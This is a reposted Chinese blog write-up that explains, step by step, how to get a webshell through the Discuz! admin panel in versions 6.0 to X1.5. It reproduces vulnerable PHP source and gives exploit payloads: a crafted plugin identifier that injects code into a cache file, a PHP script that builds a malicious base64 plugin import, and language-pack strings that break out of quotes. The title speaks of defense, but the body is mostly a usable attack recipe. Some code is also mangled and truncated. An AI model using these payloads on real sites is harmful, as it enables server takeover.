Discuz!后台得到Webshell全过程,站长须防范

网络安全 强烈建议 2024-02-08 07:57 249 0

  今天烈火小编在订阅的博客中发现了《Discuz!后台怎么拿到Webshell》一文,看来黑客是无孔不入的,那么作为站长和网管,我们怎么进行防范呢?首先我们需要了解discuz的漏洞,了解得到webshell的过程。下面来看原文:

  既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。

  一 Discuz! 6.0 和 Discuz! 7.0

  既然要后台拿Shell,文件写入必看。

  /include/cache.func.php

  function writetocache($script, $cachenames, $cachedata=”, $prefix=‘cache_’) {

  global $authkey;

  if(is_array($cachenames) && !$cachedata) {

  foreach($cachenames as $name) {

  $cachedata .=getcachearray($name, $script);

  }

  }

  $dir=DISCUZ_ROOT.’

  if(!is_dir($dir)) {

  @mkdir($dir, 0777);

  }

  if($fp=@fopen(“$dir$prefix$script.php”, ‘wb’)) {

  fwrite($fp, “

  “\n//Created: “.date(“M j, Y, G:i”).

  “\n//Identify: “.md5($prefix.$script.’.php’.$cachedata.$authkey).”\n\n$cachedata?>”);

  fclose($fp);

  } else {

  exit(‘Can not write to cache files, please check directory and .’);

  }

  }

  往上翻,找到调用函数的地方.都在updatecache函数中.

  if(!$cachename || $cachename==‘plugins’) {

  $query=$db->query(“SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins”);

  while($plugin=$db->fetch_array($query)) {

  $data=array_merge($plugin, array(‘modules’=> array()), array(‘vars’=> array()));

  $plugin[‘modules’]=unserialize($plugin[‘modules’]);

  if(is_array($plugin[‘modules’])) {

  foreach($plugin[‘modules’] as $module) {

  $data[‘modules’][$module[‘name’]]=$module;

  }

  }

  $queryvars=$db->query(“SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid=’$plugin[pluginid]‘”);

  while($var=$db->fetch_array($queryvars)) {

  $data[‘vars’][$var[‘variable’]]=$var[‘value’];

  }

  //注意

  writetocache($plugin[‘identifier’], ”, “\$_DPLUGIN[‘$plugin[identifier]‘]=“.arrayeval($data), ‘plugin_’);

  }

  }

  如果我们可以控制$plugin[‘identifier’]就有机会,它是plugins表里读出来的.

  去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.

  但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.

  /admin/plugins.inc.php

  if(($newname=trim($newname)) || ($newidentifier=trim($newidentifier))) {

  if(!$newname) {

  cpmsg(‘plugins_edit_name_invalid’);

  }

  $query=$db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’$newidentifier’ LIMIT 1′);

  //下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符

  if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {

  cpmsg(‘plugins_edit_identifier_invalid’);

  }

  $db->query(“INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES (‘”.dhtmlspecialchars(trim($newname)).”‘, ‘$newidentifier’, ’0′)”);

  }

  //写入缓存文件

  updatecache(‘plugins’);

  updatecache(‘settings’);

  cpmsg(‘plugins_edit_succeed’, ‘admincp.php?action=pluginsconfig’);

  还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.

  elseif(submitcheck(‘importsubmit’)) {

  $plugindata=preg_replace(“/(#.*\s+)*/”, ”, $plugindata);

  $pluginarray=daddslashes(unserialize(base64_decode($plugindata)), 1);

  //解码后没有判定

  if(!is_array($pluginarray) || !is_array($pluginarray[‘plugin’])) {

  cpmsg(‘plugins_import_data_invalid’);

  } elseif(empty($ignoreversion) && strip_tags($pluginarray[‘version’]) !=strip_tags($version)) {

  cpmsg(‘plugins_import_version_invalid’);

  }

  $query=$db->query(“SELECT pluginid FROM {$tablepre}plugins WHERE identifier=’{$pluginarray[plugin][identifier]}’ LIMIT 1′);

  //判断是否重复,直接入库

  if($db->num_rows($query)) {

  cpmsg(‘plugins_import_identifier_duplicated’);

  }

  $sql1=$sql2=$comma=”;

  foreach($pluginarray[‘plugin’] as $key=> $val) {

  if($key==‘directory’) {

  //compatible for old versions

  $val .=(!empty($val) && substr($val, -1) !=‘/’) ? ‘/’ : ”;

  }

  $sql1 .=$comma.$key;

  $sql2 .=$comma.’\”.$val.’\”;

  $comma=‘,’;

  }

  $db->query(“INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)”);

  $pluginid=$db->insert_id();

  foreach(array(‘hooks’, ‘vars’) as $pluginconfig) {

  if(is_array($pluginarray[$pluginconfig])) {

  foreach($pluginarray[$pluginconfig] as $config) {

  $sql1=‘pluginid’;

  $sql2=‘\”.$pluginid.’\”;

  foreach($config as $key=> $val) {

  $sql1 .=‘,’.$key;

  $sql2 .=‘,\”.$val.’\”;

  }

  $db->query(“INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)”);

  }

  }

  }

  updatecache(‘plugins’);

  updatecache(‘settings’);

  cpmsg(‘plugins_import_succeed’, ‘admincp.php?action=pluginsconfig’);

  }

  #p#副标题#e#随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.

  /forumdata/cache/plugin_shell.php

  

  //Discuz! cache file, DO NOT modify me!

  //Created: Mar 17, 2011, 16:56

  //Identify: 7c0b5adeadf5a806292d45c64bd0659c

  $_DPLUGIN[‘shell’]=array (

  ‘pluginid’=> ’11′,

  ‘available’=> ’0′,

  ‘adminid’=> ’0′,

  ‘name’=> ‘Getshell’,

  ‘identifier’=> ‘shell’,

  ‘datatables’=> ”,

  ‘directory’=> ”,

  ‘copyright’=> ”,

  ‘modules’=>

  array (

  ),

  ‘vars’=>

  array (

  ),

  )?>

  我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.

  /forumdata/cache/plugin_a’]=phpinfo();$a[‘a.php

  

  //Discuz! cache file, DO NOT modify me!

  //Created: Mar 17, 2011, 16:56

  //Identify: 7c0b5adeadf5a806292d45c64bd0659c

  $_DPLUGIN[‘a’]=phpinfo();$a[‘a’]=array (

  ‘pluginid’=> ’11′,

  ‘available’=> ’0′,

  ‘adminid’=> ’0′,

  ‘name’=> ‘Getshell’,

  ‘identifier’=> ‘shell’,

  ‘datatables’=> ”,

  ‘directory’=> ”,

  ‘copyright’=> ”,

  ‘modules’=>

  array (

  ),

  ‘vars’=>

  array (

  ),

  )?>

  最后是编码一次,给成Exp:

  

  $a=unserialize(base64_decode(“YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw

  IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo

  ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj

  cmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk6

  ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3

  OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7

  fQ==”));

  //print_r($a);

  $a[‘plugin’][‘name’]=’GetShell’;

  $a[‘plugin’][‘identifier’]=’a\’]=phpinfo();$a[\”;

  print(base64_encode(serialize($a)));

  ?>

  7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选”允许导入不同版本 Discuz! 的插件”

  #p#副标题#e#

  二 Discuz! 7.2 和 Discuz! X1.5

  以下以7.2为例

  /admin/plugins.inc.php

  elseif($operation==‘import’) {

  if(!submitcheck(‘importsubmit’) && !isset($dir)) {

  } else {

  if(!isset($dir)) {

  //导入数据解码

  $pluginarray=getimportdata(‘Discuz! Plugin’);

  } elseif(!isset($installtype)) {

  }

  //判定你妹啊,两遍啊两遍

  if(!ispluginkey($pluginarray[‘plugin’][‘identifier’])) {

  cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);

  }

  if(!ispluginkey($pluginarray[‘plugin’][‘identifier’])) {

  cpmsg(‘plugins_edit_identifier_invalid’, ”, ‘error’);

  }

  if(is_array($pluginarray[‘hooks’])) {

  foreach($pluginarray[‘hooks’] as $config) {

  if(!ispluginkey($config[‘title’])) {

  cpmsg(‘plugins_import_hooks_title_invalid’, ”, ‘error’);

  }

  }

  }

  if(is_array($pluginarray[‘vars’])) {

  foreach($pluginarray[‘vars’] as $config) {

  if(!ispluginkey($config[‘variable’])) {

  cpmsg(‘plugins_import_var_invalid’, ”, ‘error’);

  }

  }

  }

  $langexists=FALSE;

  //你有张良计,我有过墙梯

  if(!empty($pluginarray[‘language’])) {

  @mkdir(‘ 0777);

  $file=DISCUZ_ROOT.’

  if($fp=@fopen($file, ‘wb’)) {

  $scriptlangstr=!empty($pluginarray[‘language’][‘scriptlang’]) ? “\$scriptlang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘]=“.langeval($pluginarray[‘language’][‘scriptlang’]) : ”;

  $templatelangstr=!empty($pluginarray[‘language’][‘templatelang’]) ? “\$templatelang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘]=“.langeval($pluginarray[‘language’][‘templatelang’]) : ”;

  $installlangstr=!empty($pluginarray[‘language’][‘installlang’]) ? “\$installlang[‘”.$pluginarray[‘plugin’][‘identifier’].”‘]=“.langeval($pluginarray[‘language’][‘installlang’]) : ”;

  fwrite($fp, “’);

  fclose($fp);

  }

  $langexists=TRUE;

  }

  updatecache(‘plugins’);

  updatecache(‘settings’);

  updatemenu();

  }

  先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.

  function getimportdata($name=”, $addslashes=1, $ignoreerror=0) {

  if($GLOBALS[‘importtype’]==‘file’) {

  $data=@implode(”, file($_FILES[‘importfile’][‘tmp_name’]));

  @unlink($_FILES[‘importfile’][‘tmp_name’]);

  } else {

  $data=$_POST[‘importtxt’] && MAGIC_QUOTES_GPC ? stripslashes($_POST[‘importtxt’]) : $GLOBALS[‘importtxt’];

  }

  include_once DISCUZ_ROOT.’

  $xmldata=xml2array($data);

  if(!is_array($xmldata) || !$xmldata) {

  //向下兼容

  if($name && !strexists($data, ‘# ‘.$name)) {

  if(!$ignoreerror) {

  cpmsg(‘import_data_typeinvalid’, ”, ‘error’);

  } else {

  return array();

  }

  }

  $data=preg_replace(“/(#.*\s+)*/”, ”, $data);

  $data=unserialize(base64_decode($data));

  if(!is_array($data) || !$data) {

  if(!$ignoreerror) {

  cpmsg(‘import_data_invalid’, ”, ‘error’);

  } else {

  return array();

  }

  }

  } else {

  //XML解析

  if($name && $name !=$xmldata[‘Title’]) {

  if(!$ignoreerror) {

  cpmsg(‘import_data_typeinvalid’, ”, ‘error’);

  } else {

  return array();

  }

  }

  $data=exportarray($xmldata[‘Data’], 0);

  }

  if($addslashes) {

  //daddslashes在两个版本的处理导致了Exp不能通用.

  $data=daddslashes($data, 1);

  }

  return $data;

  }

  #p#副标题#e#判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……

  我们只要控制scriptlangstr或者其它任何一个就可以了。

  function langeval($array) {

  $return=”;

  foreach($array as $k=> $v) {

  //Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号

  $k=str_replace(“‘”, ”, $k);

  //下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?

  $return .=“\t’$k’=> ‘”.str_replace(array(“\\’”, “‘”), array(“\\\’”, “\’”), stripslashes($v)).”‘,\n”;

  }

  return “array(\n$return);\n\n”;

  }

  Key这里不通用.

  7.2

  function daddslashes($string, $force=0) {

  !defined(‘MAGIC_QUOTES_GPC’) && define(‘MAGIC_QUOTES_GPC’, get_magic_quotes_gpc());

  if(!MAGIC_QUOTES_GPC || $force) {

  if(is_array($string)) {

  foreach($string as $key=> $val) {

  $string[$key]=daddslashes($val, $force);

  }

  } else {

  $string=addslashes($string);

  }

  }

  return $string;

  }

  X1.5

  function daddslashes($string, $force=1) {

  if(is_array($string)) {

  foreach($string as $key=> $val) {

  unset($string[$key]);

  //过滤了key

  $string[addslashes($key)]=daddslashes($val, $force);

  }

  } else {

  $string=addslashes($string);

  }

  return $string;

  }

  #p#副标题#e#还是看下shell.lang.php的文件格式.

  

  $scriptlang[‘shell’]=array(

  ‘a’=> ’1′,

  ‘b’=> ’2′,

  );

  ?>

  7.2版本没有过滤Key,所以直接用\废掉单引号.

  X1.5,单引号转义后变为\’,再被替换一次’,还是留下了\

  而$v在两个版本中过滤相同,比较通用.

  X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件

  $v通用Exp:

  ”>

  #p#副标题#e#7.2 Key利用

  1);phpinfo();?>]]>

  X1.5

  1);phpinfo();?>]]>

  如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.



时间:(2024-02-08 07:57:07)
本站资源均来自互联网或会员发布,如果不小心侵犯了您的权益请与我们联系。我们将立即删除!谢谢!